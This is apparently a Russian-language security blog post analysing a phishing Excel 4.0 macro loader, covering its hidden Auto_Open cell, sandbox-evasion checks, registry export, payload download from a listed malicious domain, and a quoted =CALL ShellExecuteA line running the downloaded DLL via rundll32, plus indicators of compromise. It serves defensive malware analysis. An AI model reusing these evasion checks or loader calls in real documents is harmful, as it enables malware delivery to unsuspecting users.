Привет!
В нашем Tinkoff Security Operation Center мы регулярно занимаемся разбором техник, применяемых во вредоносном ПО и атаках, и недавно нам попался один интересный файл, о котором хотелось бы рассказать.
Техника, которую применили для создания этого шедевра, известна уже более 20 лет, но даже спустя десятилетия она остается актуальной, поскольку вызовы некоторых проверок в макросе не являются подозрительными и могут использоваться в легитимных документах. Речь идет о загрузчике зловреда, который написан на Excel 4.0 macros.
Инструментарий
В рамках анализа мы будем использовать сторонние инструменты по минимуму и обойдемся стандартным набором программ:
- пакет Microsoft Office;
- архиватор;
- текстовый редактор;
- как инструмент анализа действий ПО будем использовать Sysmon;
- в качестве среды для анализа будем использовать VM с Windows 7 на борту
Многабукаф
Документ, который мы будем разбирать, — книга Excel в формате xls. Вредонос доставляется в фишинговых письмах, при запуске документа макрос выгружает ветку реестра, скачивает с сайта Microsoft информацию о обновлениях Office, а также загружает и запускает вредоносную .dll. После этих действий книга закрывается без сохранения изменений.
Главное отличие от остальных загрузчиков этого типа — он не использует макросы VBA.
Статический анализ
Ниже приведен пример письма, в котором содержится вредоносный документ.
Откроем вложение в нашей виртуальной машине.
Сразу стоит обратить внимание: картинка предупреждает, что документ «защищен», и стоит ее открыть локально и нажать на «включить содержимое»:
Предупреждение системы безопасности намекает на то, что нужно посмотреть проекты в редакторе Visual Basic.
Переходим в разработчик — управление макросами (vbs), но не видим никаких макросов vbs или vba:
Тут самое время вспомнить, что представляют собой офисные документы.
Каждый документ Microsoft Office — это архив, который можно распаковать с помощью любого архиватора, извлекая содержимое документа:
После распаковки видим, что внутри документов нет xml-файлов, которые мы привыкли видеть, дело в более старом формате документа — xls.
В расширении xls содержимое хранится не в формате Office Open XML, а в двоичном формате BIFF8. В документе используется Excel 4.0 macro, где макросы могут исполняться в ячейках документа.
Стоит отметить, что лист с макросом не скрыт, но на листе большое количество пустых ячеек, что затрудняет анализ.
Для анализа файлов в формате BIFF8 есть инструменты, например BiffViewer, а для анализа содержимого есть отличный инструмент — oletools. Но мы попробуем обойтись без использования сторонних утилит.
У Excel также есть формат, основанный на xml , — xlsm , в нем можно сохранять код макросов VBA и листы макросов Excel 4.0, что мы и сделаем.
Полный список форматов, доступных для Excel, — excel — форматы.
Сохраняем наш документ, разархивируем:
Посмотрим, что содержится в файлах, начнем с директории macrosheets в папке xl и обнаружим файл со всеми данными на листе макроса:
Таким образом, мы получаем все значения в ячейках на листе макроса. Сам макрос обфусицирован, ячейки содержат только числовые значения и формулы, конвертирующие эти значения и записывающие результат в новые ячейки.
Например, в данной формуле преобразуются числовые значения в символы, конкатенируются и записываются в ячейку FK17653.
В результате выполнения формулы получим следующую строку:
Каждая последующая команда макроса «собирается» аналогичной формулой, записывается в ячейку и после выполняется.
Чтобы макрос запускался автоматически при открытии документа, ячейка, с которой должен запускаться скрипт, должна называться Auto_Open. Рассмотрим файл workbook.xml:
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:UsersUserDesktopmalware» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>
Внутри файла находим строку name="_xlnm.Auto_OpenT8nee" hidden=«1»>Sheet2!$IE$65406
Это значит, что ячейка, с которой запускается макрос, — IE65406, является скрытой. Теперь мы знаем точку входа в макрос.
Динамический анализ
Никогда не запускайте подозрительные файлы на своей машине. Для изучения действий подозрительного ПО необходимо использовать специально подготовленную среду: различные песочницы или специально подготовленную изолированную машину — виртуальную либо железную.
Откроем документ и запустим содержимое. Мелькнет окно командной строки, и книга закроется.
Посмотрим логи Sysmon.
У Sysmon есть событие создания процесса (id 1), более подробно про Sysmon можно прочитать здесь.
По логам видим, что макрос создает файлы в директории c:userspublic
Ниже представлено сообщение sysmon, в котором видно, что происходит выгрузка ветки реестра и запись результата в файл:
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:WindowsSystem32reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:Windowssystem32reg.exe» EXPORT HKCUSoftwareMicrosoftOffice16.0ExcelSecurity C:UsersPublicIcItdXw.reg /y"
CurrentDirectory: C:UsersuserDocuments
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:Program FilesMicrosoft OfficeOffice16EXCEL.EXE
ParentCommandLine: «C:Program FilesMicrosoft OfficeOffice16EXCEL.EXE»
По завершении работы макрос удаляет созданные файлы.
Чтобы запретить удаление файлов, изменим разрешения на папку, оставим права на чтение и запись и запретим удаление:
Запустим документ еще раз, получим ошибку во время выполнения макроса, что даст нам возможность произвести его отладку.
Это возможно, так как отсутствует обработка исключений в некоторых вызовах.
Запустим пошаговое выполнение макроса, во время дебага нам встречаются вызовы функций из dll-библиотек, такие как ShellExecute и URLDownloadToFile. По завершении макроса в папке общих пользователей будут следующие файлы:
Так как нам известна ячейка, с которой начинается исполнение, мы можем заполнить все ячейки в листе макроса. Пробежимся по макросу до функции close(false), где мы прервем выполнение, нажав кнопку «Пауза».
Ячейки с проверками окружения
Просматривая ячейки, которые заполняет макрос, встречаем несколько функций get.window() и get.workspace()
- Функция get.window() возвращает информацию о текущем окне: статус, состояние окна, его имя, параметры отображения и т. д.
- Функция get.workspace() позволяет узнать информацию о среде, в которой запущен документ.
Полный список вызовов, доступных Excel 4.0, можно найти в ссылках.
Тут нужно остановиться подробнее: мы с коллегой предположили, что большинство этих вызовов связаны с попытками обхода песочниц:
- get.winow(7) — проверяет, не скрыто ли текущее окно. Возвращает true или false.
- get.windows(20) — возвращает true в случае, если окно развернуто на весь экран.
- get.windows(23) — может вернуть значение 1, 2 и 3.
1 — restored
2 — minimized
3 — maximized
Таким образом осуществляется проверка, открыто ли текущее окно:
get.workspace(31) — проверка, отлаживается ли макрос по шагам.
get.workspace(13) — проверка ширины рабочей области в пикселях: если меньше 770, то книга закроется
get.workspace(14) — проверка высоты рабочей области в пикселях: если меньше 390, то книга закроется
get.workspace(19) — проверка присутствия мыши.
get.workspace(1) — возвращает, в какой операционной системе запущен документ.
В случае false в каждой проверке происходит переход на ячейку закрытия книги без сохранения результата.
Вызовы внешних библиотек
После проверок окружения переходим к основному функционалу. Посмотрим, как из макроса вызываются WinAPI функции:
1. Вызов reg.exe, который мы видели в логах Sysmon.
Для вызова утилиты используется функция ShellExecute из библиотеки shell32.dll, параметры для функции разбросаны по другим ячейкам.
Ячейка BN16631:
Ячейка A46097:
В ячейке GN47559 передается команда экспорта необходимой ветки реестра, Get.workspace(2) возвращает версию Excel.
В ячейке DX48821 содержится путь, куда запишется результат.
Далее в макросе присутствует проверка на наличие созданного файла IcltdXw.reg и его удаление.
2. Вызов функции URLDownloadToFile. Данная функция сохраняет в файл результат get-запроса.
Вызов выглядит следующим образом:
Этот вызов ведет нас на сайт Microsoft, на страницу с информацией об обновлениях Office.
Параметры функции:
Ячейка BR6547
Ячейка IN49847
После выполнения инструкции идет проверка, создался ли файл, а также чтение символа по смещению в файле:
Скорее всего, эти действия направлены на проверку, есть ли у окружения, где запущен документ, доступ в интернет.
В формуле в iserror передается функция FILES и аргумент — имя файла, куда должен записаться результат функции URLDownloadToFile:
Ячейка FM27223 передаст управление функции закрытия книги:
При успешном получении файла от Microsoft заполняются ячейки для подготовки к второму вызову dll urlmon.
Загрузка полезной нагрузки
И вот второй вызов, но уже на домен dehabadi[.]ir, с которого должна произойти загрузка вредоносной нагрузки:
Результат запишется в файл в эту же папку с расширением html:
Дальше натыкаемся на ветвление в коде макроса, если с первой попытки скачать payload не удалось, будет предпринята вторая попытка, но уже с другого адреса.
В случае успешной загрузки выведется всплывающее окно с предупреждением и вызовется загруженная библиотека.
Полный вызов выглядит следующим образом:
=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:windowssystemc32rundll32.exe","c:userspublic4hcFC.html,DllRegisterServer",0,5)
В полном вызове функция ShellExecuteA вызывается из библиотеки Shell32 с параметрами для запуска rundll32, с помощью которой вызывается экспортируемая функция скаченной вредоносной библиотеки.
На этом функция макроса завершена, полезная нагрузка загружена и запущена.
Заключение
Как было сказано, технология достаточно старая (Excel 4.0 для Windows 3.0 и 3.1), однако она в полной мере предоставляет функционал, необходимый вредоносному ПО для достижения своих целей. А цель этого файла — незаметно подложить в систему опасное ПО, способное нанести серьезный ущерб, начиная с кражи персональных данных, данных авторизации для систем, заканчивая повреждением/шифрованием данных на компьютере и возможностью удаленно выполнять код.
Для анализа подобных документов совсем не обязательно использовать какие-либо специальные утилиты и ПО, однако стоит упомянуть набор скриптов oletools — подробнее можно посмотреть здесь. На этом мы закончим, ниже приведены индикаторы компрометации, выявленные в результате анализа.
Полученные IOC:
evans[.]williamdmon[@]wp[.]pl
eleventalents[.]com
dehabadi[.]ir
hxxps://eleventalents.com/wp-keys.php
hxxps://dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419
Полный список индикаторов компрометации.
Ссылки:
Над анализом работали:
Автор: Кубышко Игорь